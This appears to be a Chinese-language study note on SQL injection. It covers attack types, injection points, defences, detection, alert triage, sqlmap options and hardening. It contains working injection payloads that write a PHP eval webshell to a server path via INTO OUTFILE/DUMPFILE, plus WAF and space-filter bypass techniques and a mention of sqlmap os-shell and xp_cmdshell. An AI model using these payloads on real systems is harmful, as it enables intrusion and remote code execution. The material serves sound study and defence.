简述

sql注入:union,报错,布尔,延时,导出文件(不对MYSQL导入导出设限制),堆叠注入,二次注入,宽字节注入

注入点:referer ,cookie,user agent,Base64编码的地方

检测:数据库日志,应用服务器日志,漏洞扫描工具,安全审计,手动测试

sql遇到waf绕过:编码16/Unicode,注入工具自动绕过,盲注(waf阻止回显时),变形注入,

sql遇到过滤空格:内联注释绕过,编码绕过

详细

成因:

为对用户的输入进行检验过滤,未进行预编译,或者处理的不完整,处理程序不完善

防御:

使用预编译;

黑名单:对特殊的字符例如括号斜杠进行转义过滤删除;

白名单:对用户的输入进行正则表达式匹配限制

规范编码以及字符集,否者攻击者可以通过编码绕过检查

参数化查询:原理是将用户输入的查询参数作为参数传,而不直接将它们拼接到SQL语而言,将SQL语句和参数分离开来,并通过占位符(一般使用问号“?”)将它们关联起来,这样用户的输入只会被当作参数`

分类:

请求头的注入:

user-agent;referer;cookie;Host;Location;Accept-Language

联合查询注入:

union

通过union拼接查询语句获取大量的信息

利用:模糊查询猜测列名、表名—->union查询构造select语句进行查询返回大量数据

报错注入:

利用系统返回的错误信息来获取有用的信息

需要用到的函数:

updataxml、floor向下取整、group by分组排列、count统计数量、concat连接字符串

extractvalue

参数:第一个参数为字符串,第二个参数为xpath路径

原理:updatexml()一共有三个参数,第一个是xml内容、第二个参数是update的位置XPATH路径、第三个参数是更新后的内容;这里报错的主要原理是利用第二个参数,判断校验输入的内容是否符合XPATH格式的,不符合就报错,我们将第二个参数替换为version()或者database()等等,因为不满足XPATH格式所以会输出错误,输出错误的时候将sql代码(verson()/database()等)执行了。

布尔盲注
堆叠注入
时间盲注

sleep()

宽字节注入:
PHP utf-8编码,数据库GBK编码

PHP防御函数:magic_quotes_gpc()

成因:PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出

原理:在数据库中使用宽字符集,在web中没有考虑这个问题。由于0XDF27在web中是两个字符,在php中会对0x27进行转义,把0XDF27变成0XDF5c27

设备报警,SQL注入的报警,能看到攻击时间,攻击ip,payload,如何判断是误报还是真是攻击,如果是真实攻击,怎么判断他攻击是否成功,如如何成功怎么处理?

先看ip,如果ip是公司内部的再看内部人员有没有相关操作,如果不是ip白名单的例如公司人员业务的操作那就是攻击,然后分析payload,分析它写的payload安全设备能否它进行过滤拦截,如果它确实能绕过,那就应该攻击成功了,成功的话赶紧上报,做应急响应,做出相应处理,添加过滤规则,修改数据库中能修改的数据比如管理员账号密码

sql注入如何检测?

  1. 数据库异常日志:在数据库服务器上查看异常日志或错误日志,如果发现异常 SQL 语句,或者 SQL 语句中包含可疑代码或关键字,就可能存在 SQL 注入攻击。
  2. 应用服务器日志:在应用服务器上查看访问日志或错误日志,如果发现访问异常、错误码增多,或者包含可疑的 URL 参数等信息,也可能表明存在 SQL 注入攻击。
  3. 漏洞扫描工具:使用专业的漏洞扫描工具,可以自动化地检测应用程序中可能存在的 SQL 注入漏洞,并提供修补建议。
  4. 安全审计:通过记录用户行为和操作日志,可以检测和追踪可能存在的 SQL 注入攻击。
  5. 手动测试:模拟攻击者的行为,手动输入特定的 SQL 语句或注入代码,来验证是否存在 SQL 注入漏洞。

写入webshell:

?id=1′ union select 1,”<?php @eval($_POST[‘shell’]);?>”,3 into outfile ‘C:\\phpstudy\\WWW\\sqli\\shell.php’#

?id=1’ union select 1,”<?php @eval($_POST[‘shell’]);?>”,3 into dumpfile ‘C:\\phpstudy\\WWW\\sqli\\shell.php’#

into outfile ‘C:/wamp64/www/shell.php’ lines terminated/starting by ‘<?php phpinfo()?>’;

sqlmap中risk和level区别

risk风险等级,越大则测试的语句越多,强调数量

level探测的深度,越大则测试的范围越广,例如cookie host 等等都会测试,强调范围

–os -shell

sqlmap(已知绝对路径的情况下)上传一个sql木马里面有能够远程执行命令的函数

sqlmap可以启用xp-cmdshell,即使被删除也能够自动创建

sql注入遇到waf怎么绕过以及过滤空格

以下是几种常见的方法:

  1. 使用编码:攻击者可以对注入负载进行编码,例如使用十六进制或Unicode编码等方式,以绕过WAF对字符集的检查。攻击者还可以使用字符串分割、大小写转换等技术手段,以使WAF无法识别恶意代码。
  2. 使用注入器:SQL注入攻击工具如Sqlmap、Havij、SQLi-hunter等,可以自动检测和利用各种SQL注入漏洞,并通过绕过WAF来获取敏感数据。
  3. 盲注:在盲注攻击中,攻击者不直接获取查询结果,而是根据应用程序的响应来判断是否存在漏洞。攻击者可以使用时间延迟或错误信息来判断是否存在漏洞,并以此来推断数据库中的数据。
  4. 变形注入:变形注入攻击是一种多次执行的注入攻击,使用变体的注入负载,使注入负载不同于以前的攻击负载,从而逃避WAF的检测。

sql注入遇到过滤空格

内联注释绕过(如“/**/”或“#”等)
编码绕过
    • %09:制表
    • %0a:换行
    • %0c:分页
    • %20:空格
    • %0d:回车

sql注入加固

  1. 输入验证:对用户输入数据进行验证和过滤,特别是对单引号、双引号、分号等特殊字符进行处理。可以使用输入过滤函数或正则表达式等方式来实现。
  2. 参数化查询:使用参数化查询操作数据库,可以将用户输入的数据视为参数而不是 SQL 代码的一部分,从而避免 SQL 注入攻击。
  3. 最小化权限原则:在应用程序连接数据库时,给予最小必要的权限,并严格控制数据库访问权限,以减少攻击者利用 SQL 注入漏洞获取敏感信息的可能性。
  4. 安全编码标准:统一编码 否则会导致宽字节注入
  5. 异常信息处理:前端不返回错误信息,在应用程序中添加异常处理机制,可以及时捕获和记录 SQL 注入攻击产生的异常信息,便于管理员及时发现和修复问题。
  6. 安全审计:通过记录用户行为和操作日志,可以检测和追踪可能存在的 SQL 注入攻击。